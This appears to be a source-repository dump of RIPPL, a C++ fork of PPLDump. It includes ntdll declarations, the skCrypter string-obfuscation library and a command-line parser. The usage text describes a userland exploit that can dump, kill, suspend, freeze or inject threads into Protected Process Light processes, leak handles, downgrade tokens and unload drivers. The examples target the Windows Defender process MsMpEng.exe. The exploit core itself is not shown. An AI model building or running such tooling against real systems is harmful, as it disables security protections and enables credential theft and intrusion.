PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PSID *Group,\n    OUT PBOOLEAN GroupDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetGroupSecurityDescriptor(\n    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN PSID Group OPTIONAL,\n    IN BOOLEAN GroupDefaulted OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetDaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR  SecurityDescriptor,\n    OUT PBOOLEAN  DaclPresent,\n    OUT PACL  *Dacl,\n    OUT PBOOLEAN  DaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetDaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN BOOLEAN DaclPresent,\n    IN PACL Dacl OPTIONAL,\n    IN BOOLEAN DaclDefaulted OPTIONAL\n    );\n\n\nNTSTATUS\nRtlGetSaclSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PBOOLEAN SaclPresent,\n    OUT PACL *Sacl,\n    OUT PBOOLEAN SaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSaclSecurityDescriptor(\n    IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN BOOLEAN SaclPresent,\n    IN PACL Sacl,\n    IN BOOLEAN SaclDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateAndInitializeSid(\n    IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n    IN UCHAR SubAuthorityCount,\n    IN ULONG SubAuthority0,\n    IN ULONG SubAuthority1,\n    IN ULONG SubAuthority2,\n    IN ULONG SubAuthority3,\n    IN ULONG SubAuthority4,\n    IN ULONG SubAuthority5,\n    IN ULONG SubAuthority6,\n    IN ULONG SubAuthority7,\n    OUT PSID *Sid\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthSid(\n    IN PSID Sid\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualSid(\n    IN PSID Sid1,\n    IN PSID Sid2\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConvertSidToUnicodeString(\n    OUT PUNICODE_STRING UnicodeString,\n    IN  PSID Sid,\n    IN  BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlFreeSid(\n    IN PSID Sid\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateAcl(\n    IN PACL Acl,\n    IN ULONG AclLength,\n    IN ULONG AclRevision\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAce(\n    IN PACL Acl,\n    IN ULONG AceIndex,\n    OUT PVOID  *Ace\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAce(\n    IN OUT PACL Acl,\n    IN ULONG AceRevision,\n    IN ACCESS_MASK AccessMask,\n    IN PSID Sid\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAceEx(\n    IN OUT PACL Acl,\n    IN ULONG AceRevision,\n    IN ULONG AceFlags,\n    IN ULONG AccessMask,\n    IN PSID Sid\n    );\n\n//-----------------------------------------------------------------------------\n// Token functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcessToken(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    OUT PHANDLE TokenHandle\n    );\n\n// Windows XP or newer\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenProcessTokenEx(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    OUT PHANDLE TokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenThreadToken(\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN BOOLEAN OpenAsSelf,\n    OUT PHANDLE TokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    OUT PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength,\n    OUT PULONG  ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    OUT PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength,\n    OUT PULONG  ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationToken(\n    IN HANDLE  TokenHandle,\n    IN TOKEN_INFORMATION_CLASS  TokenInformationClass,\n    IN PVOID  TokenInformation,\n    IN ULONG  TokenInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAdjustPrivilegesToken(\n    IN HANDLE TokenHandle,\n    IN BOOLEAN DisableAllPrivileges,\n    IN PTOKEN_PRIVILEGES NewState OPTIONAL,\n    IN ULONG BufferLength OPTIONAL,\n    IN PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateToken(\n    IN HANDLE ExistingTokenHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN BOOLEAN EffectiveOnly,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE NewTokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompareTokens(\n    IN  HANDLE FirstTokenHandle,\n    IN  HANDLE SecondTokenHandle,\n    OUT PBOOLEAN IdenticalTokens\n    );\n\n//-----------------------------------------------------------------------------\n// Token functions available from Windows 8.1\n\n// Token security attribute type\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10\n\n// Token security attribute flags\n#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001\n#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002\n#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010\n#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE\n{\n    ULONG64 Version;\n    UNICODE_STRING Name;\n\n} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE\n{\n    PVOID pValue;\n    ULONG ValueLength;\n\n} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_V1\n{\n    UNICODE_STRING Name;\n    USHORT ValueType;\n    USHORT Reserved;\n    ULONG  Flags;\n    ULONG  ValueCount;\n\n    union\n    {\n        PLONG64 pInt64;\n        PULONG64 pUint64;\n        PUNICODE_STRING pString;\n        PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn;\n        PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString;\n    } Values;\n\n} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION\n{\n    USHORT Version;\n    USHORT Reserved;\n    ULONG AttributeCount;\n\n    union\n    {\n        PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1;\n    } Attribute;\n\n} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityAttributesToken(\n    IN  HANDLE TokenHandle,\n    IN  PUNICODE_STRING Attributes,\n    IN  ULONG NumberOfAttributes,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityAttributesToken(\n    IN  HANDLE TokenHandle,\n    IN  PUNICODE_STRING Attributes,\n    IN  ULONG NumberOfAttributes,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    OUT PULONG ReturnLength\n    );\n\n//-----------------------------------------------------------------------------\n// Symbolic links\n\n//\n// Object Manager Symbolic Link Specific Access Rights.\n//\n\n#ifndef SYMBOLIC_LINK_QUERY\n#define SYMBOLIC_LINK_QUERY (0x0001)\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObjectEx( OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, ULONG Something );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSymbolicLinkObject(\n    OUT PHANDLE SymbolicLinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PUNICODE_STRING DestinationName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSymbolicLinkObject (\n    OUT PHANDLE SymbolicLinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySymbolicLinkObject (\n    IN HANDLE SymbolicLinkHandle,\n    OUT PUNICODE_STRING NameString,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Loader functions\n\nNTSYSAPI\nPIMAGE_NT_HEADERS\nNTAPI\nRtlImageNtHeader(\n    IN PVOID Base\n    );\n\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001)\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_UNKNONW_W10    (0x00000002)     // Used to call RtlImageNtHeaderEx in W10, but never checked\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlImageNtHeaderEx(\n    ULONG Flags,\n    PVOID Base,\n    ULONG64 Size,\n    OUT PIMAGE_NT_HEADERS * OutHeaders\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageDirectoryEntryToData(\n    IN PVOID Base,\n    IN BOOLEAN MappedAsImage,\n    IN USHORT DirectoryEntry,\n    OUT PULONG Size\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageRvaToVa(\n    IN PIMAGE_NT_HEADERS NtHeaders,\n    IN PVOID Base,\n    IN ULONG Rva,\n    IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrLoadDll(\n    IN PWSTR DllPath OPTIONAL,\n    IN PULONG DllCharacteristics OPTIONAL,\n    IN PUNICODE_STRING DllName,\n    OUT PVOID *DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandle(\n    IN PWSTR DllPath OPTIONAL,\n    IN PULONG DllCharacteristics OPTIONAL,\n    IN PUNICODE_STRING DllName,\n    OUT PVOID * DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrUnloadDll(\n    IN PVOID DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddress(\n    IN PVOID DllHandle,\n    IN PANSI_STRING ProcedureName OPTIONAL,\n    IN ULONG ProcedureNumber OPTIONAL,\n    OUT PVOID *ProcedureAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindResource_U(\n    IN PVOID DllHandle,\n    IN PULONG_PTR ResourceIdPath,\n    IN ULONG ResourceIdPathLength,\n    OUT PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrAccessResource(\n    IN PVOID DllHandle,\n    IN PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry,\n    OUT PVOID *Address OPTIONAL,\n    OUT PULONG Size OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrDisableThreadCalloutsForDll(\n    IN PVOID DllHandle\n    );\n\n//-----------------------------------------------------------------------------\n// Driver functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwLoadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnloadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnloadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\n//-----------------------------------------------------------------------------\n// Functions dealing with NTSTATUS and Win32 error\n\ntypedef enum _HARDERROR_RESPONSE_OPTION\n{\n    OptionAbortRetryIgnore,\n    OptionOk,\n    OptionOkCancel,\n    OptionRetryCancel,\n    OptionYesNo,\n    OptionYesNoCancel,\n    OptionShutdownSystem\n\n} HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION;\n\ntypedef enum _HARDERROR_RESPONSE\n{\n    ResponseReturnToCaller,\n    ResponseNotHandled,\n    ResponseAbort,\n    ResponseCancel,\n    ResponseIgnore,\n    ResponseNo,\n    ResponseOk,\n    ResponseRetry,\n    ResponseYes\n\n} HARDERROR_RESPONSE, *PHARDERROR_RESPONSE;\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosError(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosErrorNoTeb(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLastNtStatus(\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetLastWin32Error(\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32Error(\n    ULONG WinError\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32ErrorAndNtStatusFromNtStatus(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRaiseHardError(\n    IN  NTSTATUS ErrorStatus,\n    IN  ULONG NumberOfParameters,\n    IN  PUNICODE_STRING UnicodeStringParameterMask OPTIONAL,\n    IN  PVOID * Parameters,\n    IN  HARDERROR_RESPONSE_OPTION ResponseOption,\n    OUT PHARDERROR_RESPONSE Response\n    );\n\n//-----------------------------------------------------------------------------\n// Other functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtContinue(\n    IN PCONTEXT Context,\n    IN BOOLEAN Alertable\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTestAlert(\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryPerformanceCounter(\n    OUT PLARGE_INTEGER PerformanceCounter,\n    OUT PLARGE_INTEGER PerformanceFrequency OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAllocateLocallyUniqueId(\n    OUT PLUID LocallyUniqueId\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDelayExecution(\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER DelayInterval\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDisplayString(\n    IN PUNICODE_STRING String\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetVersion(\n    PRTL_OSVERSIONINFOW lpVersionInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetCurrentDirectory_U(\n    ULONG nBufferLength,\n    PWSTR lpBuffer\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateTransaction(\n    PHANDLE            TransactionHandle,\n    ACCESS_MASK        DesiredAccess,\n    POBJECT_ATTRIBUTES ObjectAttributes,\n    LPGUID             Uow,\n    HANDLE             TmHandle,\n    ULONG              CreateOptions,\n    ULONG              IsolationLevel,\n    ULONG              IsolationFlags,\n    PLARGE_INTEGER     Timeout,\n    PUNICODE_STRING    Description\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateThreadEx\n(\n    OUT PHANDLE hThread,\n    IN ACCESS_MASK DesiredAccess,\n    IN PVOID ObjectAttributes,\n    IN HANDLE ProcessHandle,\n    IN PVOID lpStartAddress,\n    IN PVOID lpParameter,\n    IN ULONG Flags,\n    IN SIZE_T StackZeroBits,\n    IN SIZE_T SizeOfStackCommit,\n    IN SIZE_T SizeOfStackReserve,\n    OUT PVOID lpBytesBuffer\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSuspendProcess\n(\n    _In_  HANDLE hProcess\n);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif // __NTDLL_H__\n"
  },
  {
    "path": "RIPPL/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.Windows.ImplementationLibrary\" version=\"1.0.220201.1\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "RIPPL/resource.h",
    "content": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n//\n\n#define IDR_RCDATA1                     103\n\n// Next default values for new objects\n// \n#ifdef APSTUDIO_INVOKED\n#ifndef APSTUDIO_READONLY_SYMBOLS\n#define _APS_NEXT_RESOURCE_VALUE        106\n#define _APS_NEXT_COMMAND_VALUE         40001\n#define _APS_NEXT_CONTROL_VALUE         1001\n#define _APS_NEXT_SYMED_VALUE           101\n#endif\n#endif\n"
  },
  {
    "path": "RIPPL/skCrypter.hpp",
    "content": "#pragma once\n\n/*____________________________________________________________________________________________________________\n\nOriginal Author: skadro\nGithub: https://github.com/skadro-official\nLicense: See end of file\n\nskCrypter\n\t\tCompile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+\n\n\t\t\t\t\t\t\t*Not removing this part is appreciated*\n____________________________________________________________________________________________________________*/\n\n#ifdef _KERNEL_MODE\nnamespace std\n{\n\t// STRUCT TEMPLATE remove_reference\n\ttemplate <class _Ty>\n\tstruct remove_reference {\n\t\tusing type = _Ty;\n\t};\n\n\ttemplate <class _Ty>\n\tstruct remove_reference<_Ty&> {\n\t\tusing type = _Ty;\n\t};\n\n\ttemplate <class _Ty>\n\tstruct remove_reference<_Ty&&> {\n\t\tusing type = _Ty;\n\t};\n\n\ttemplate <class _Ty>\n\tusing remove_reference_t = typename remove_reference<_Ty>::type;\n\n\t// STRUCT TEMPLATE remove_const\n\ttemplate <class _Ty>\n\tstruct remove_const { // remove top-level const qualifier\n\t\tusing type = _Ty;\n\t};\n\n\ttemplate <class _Ty>\n\tstruct remove_const<const _Ty> {\n\t\tusing type = _Ty;\n\t};\n\n\ttemplate <class _Ty>\n\tusing remove_const_t = typename remove_const<_Ty>::type;\n}\n#else\n#include <type_traits>\n#endif\n\nnamespace skc\n{\n\ttemplate<class _Ty>\n\tusing clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;\n\n\ttemplate <int _size, char _key1, char _key2, typename T>\n\tclass skCrypter\n\t{\n\tpublic:\n\t\t__forceinline constexpr skCrypter(T* data)\n\t\t{\n\t\t\tcrypt(data);\n\t\t}\n\n\t\t__forceinline T* get()\n\t\t{\n\t\t\treturn _storage;\n\t\t}\n\n\t\t__forceinline int size() // (w)char count\n\t\t{\n\t\t\treturn _size;\n\t\t}\n\n\t\t__forceinline  char key()\n\t\t{\n\t\t\treturn _key1;\n\t\t}\n\n\t\t__forceinline  T* encrypt()\n\t\t{\n\t\t\tif (!isEncrypted())\n\t\t\t\tcrypt(_storage);\n\n\t\t\treturn _storage;\n\t\t}\n\n\t\t__forceinline  T* decrypt()\n\t\t{\n\t\t\tif (isEncrypted())\n\t\t\t\tcrypt(_storage);\n\n\t\t\treturn _storage;\n\t\t}\n\n\t\t__forceinline bool isEncrypted()\n\t\t{\n\t\t\treturn _storage[_size - 1] != 0;\n\t\t}\n\n\t\t__forceinline void clear() // set full storage to 0\n\t\t{\n\t\t\tfor (int i = 0; i < _size; i++)\n\t\t\t{\n\t\t\t\t_storage[i] = 0;\n\t\t\t}\n\t\t}\n\n\t\t__forceinline operator T* ()\n\t\t{\n\t\t\tdecrypt();\n\n\t\t\treturn _storage;\n\t\t}\n\n\tprivate:\n\t\t__forceinline constexpr void crypt(T* data)\n\t\t{\n\t\t\tfor (int i = 0; i < _size; i++)\n\t\t\t{\n\t\t\t\t_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));\n\t\t\t}\n\t\t}\n\n\t\tT _storage[_size]{};\n\t};\n}\n\n#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])\n#define skCrypt_key(str, key1, key2) []() { \\\n\t\t\tconstexpr static auto crypted = skc::skCrypter \\\n\t\t\t\t<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \\\n\t\t\t\t\treturn crypted; }()\n\n/*________________________________________________________________________________\n\nMIT License\n\nCopyright (c) 2020 skadro\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n________________________________________________________________________________*/\n"
  },
  {
    "path": "RIPPL/utils.cpp",
    "content": "﻿#include \"utils.h\"\n\nBOOL ParseArguments(int argc, wchar_t* argv[])\n{\n\tBOOL bReturnValue = TRUE;\n\tBOOL bHelp = FALSE;\n\n\tif (argc < 3)\n\t{\n\t\tPRINTUSAGE();\n\t\treturn FALSE;\n\t}\n\n\tg_pwszExecutionMode = argv[1];\n\n\tswitch (g_pwszExecutionMode[1])\n\t{\n\tcase 'D':\n\t{\n\t\tg_intExecutionMode = DUMP_MODE;\n\t\tif (argc < 4)\n\t\t{\n\t\t\tPRINTLASTERROR(L\"[-] Too few arguments for dump mode!\\n\");\n\t\t\tPRINTUSAGE();\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// Read dump file path\n\t\targc--;\n\t\tg_pwszDumpFilePath = argv[argc];\n\t\tbreak;\n\t}\n\tcase 'K':\n\t{\n\t\tg_intExecutionMode = KILL_MODE;\n\t\tbreak;\n\t}\n\tcase 'S':\n\t{\n\t\tg_intExecutionMode = SUSPEND_MODE;\n\t\tbreak;\n\t}\n\tcase 'R':\n\t{\n\t\tg_intExecutionMode = RESUME_MODE;\n\t\tbreak;\n\t}\n\tcase 'L':\n\t{\n\t\tg_intExecutionMode = LEAK_MODE;\n\t\tbreak;\n\t}\n\tcase 'X':\n\t{\n\t\tg_intExecutionMode = JOB_KILL_MODE;\n\t\tbreak;\n\t}\n\tcase 'W':\n\t{\n\t\tg_intExecutionMode = JOB_SUPPRESS_MODE;\n\t\tbreak;\n\t}\n\tcase 'Z':\n\t{\n\t\tg_intExecutionMode = SUICIDE_MODE;\n\t\tbreak;\n\t}\n\n\tcase 'T':\n\t{\n\t\tg_intExecutionMode = TOKEN_DOWNGRADE_MODE;\n\t\tbreak;\n\t}\n\n\tcase 'U':\n\t{\n\t\tg_intExecutionMode = DRIVER_UNLOAD_MODE;\n\t\tif (argc < 4)\n\t\t{\n\t\t\tPRINTLASTERROR(L\"[-] Too few arguments for driver unload mode!\\n\");\n\t\t\tPRINTUSAGE();\n\t\t\treturn FALSE;\n\t\t}\n\t\targc--;\n\t\tg_pwszDumpFilePath = argv[argc];\n\t\tbreak;\n\t}\n\tdefault:\n\t{\n\t\tWPRINTF(L\"[-] Invalid option: %ws\\n\", g_pwszExecutionMode);\n\t\tPRINTUSAGE();\n\t\tbReturnValue = FALSE;\n\t}\n\t}\n\n\tif (g_intExecutionMode != DRIVER_UNLOAD_MODE)\n\t{\n\t\t// Read target process name or pid\n\t\targc--;\n\t\tg_pwszProcessName = argv[argc];\n\n\t\t// Try to interpret target process argument as a number (PID rather than name)\n\t\tg_dwProcessId = wcstoul(g_pwszProcessName, nullptr, 10);\n\n\t\t// If the process name turns out to be a PID, unset g_pwszProcessName\n\t\tif (g_dwProcessId != 0)\n\t\t\tg_pwszProcessName = NULL;\n\t}\n\n\t// Parse options\n\twhile ((argc > 2) && (argv[2][0] == '-'))\n\t{\n\t\tswitch (argv[2][1])\n\t\t{\n\t\tcase 'h':\n\t\t\tbReturnValue = FALSE;\n\t\t\tbHelp = TRUE;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\tg_bDebug = TRUE;\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tg_bForce = TRUE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tWPRINTF(L\"[-] Invalid option: %ws\\n\", argv[1]);\n\t\t\tbReturnValue = FALSE;\n\t\t}\n\t\t++argv;\n\t\t--argc;\n\t}\n\n\tif (bHelp)\n\t{\n\t\tPRINTUSAGE();\n\t\treturn FALSE;\n\t}\n\n\treturn bReturnValue;\n}\n\nVOID PrintArguments()\n{\n\tPRINTDEBUG(L\"Debug=%d | Force=%d | Execution Mode='%ws' | Proc='%ws' | PID=%d | File='%ws'\\n\", g_bDebug, g_bForce, g_pwszExecutionMode, g_pwszProcessName, g_dwProcessId, g_pwszDumpFilePath);\n}\n\nVOID PrintUsage()\n{\n\twprintf(\n\t   L\"  _____  _____ _____  _____  _      \\n\"\n\t\t\" |  __ \\\\|_   _|  __ \\\\|  __ \\\\| |     \\n\"\n\t\t\" | |__) | | | | |__) | |__) | |      version %ws\\n\"\n\t\t\" |  _  /  | | |  ___/|  ___/| |      by %ws\\n\"\n\t\t\" | | \\\\ \\\\ _| |_| |    | |    | |____  forked by itm4n's PPLDump\\n\"\n\t\t\" |_|  \\\\_\\\\_____|_|    |_|    |______|\\n\"\n\t\t\"\\n\"\n\t\t\"Description:\\n\"\n\t\t\"  Manipulate Protected Process Light (PPL) processes with a *userland* exploit\\n\"\n\t\t\"\\n\",\n\t\tVERSION,\n\t\tAUTHOR\n\t);\n\n\twprintf(\n\t\tL\"Usage: \\n\"\n\t\t\"  rippl.exe (-D|-K|-S|-R|-L) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE]\\n\"\n\t\t\"  () -> mandatory arguments\\n\"\n\t\t\"  [] -> optional arguments\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Operation modes (choose ONLY one):\\n\"\n\t\t\"  -D -> Dump the given process\\n\"\n\t\t\"  -K -> Kill the given process\\n\"\n\t\t\"  -S -> Suspend the given process\\n\"\n\t\t\"  -R -> Resume the previously suspended process\\n\"\n\t\t\"  -L -> Leak a PROCESS_ALL_ACCESS handle to the given process\\n\"\n\t\t\"  -X -> Kill the given process by assigning it to a job object and terminating the object\\n\"\n\t\t\"  -W -> Freeze the process by assigning it to a job object and severely constraining CPU resources of the object\\n\"\n\t\t\"  -Z -> Kill the given process by injecting a thread into it which calls exit(0)\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Arguments:\\n\"\n\t\t\"  PROC_NAME -> The name of a Process to dump\\n\"\n\t\t\"  PID       -> The ID of a Process to dump\\n\"\n\t\t\"  DUMP_FILE -> The path of the output dump file - valid ONLY with the -D option\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Options:\\n\"\n\t\t\"  -d -> (Debug) Enable debug mode\\n\"\n\t\t\"  -f -> (Force) Bypass DefineDosDevice error check\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Examples:\\n\"\n\t\t\"  rippl.exe -K MsMpEng.exe\\n\"\n\t\t\"  rippl.exe -S MsMpEng.exe\\n\"\n\t\t\"  rippl.exe -R 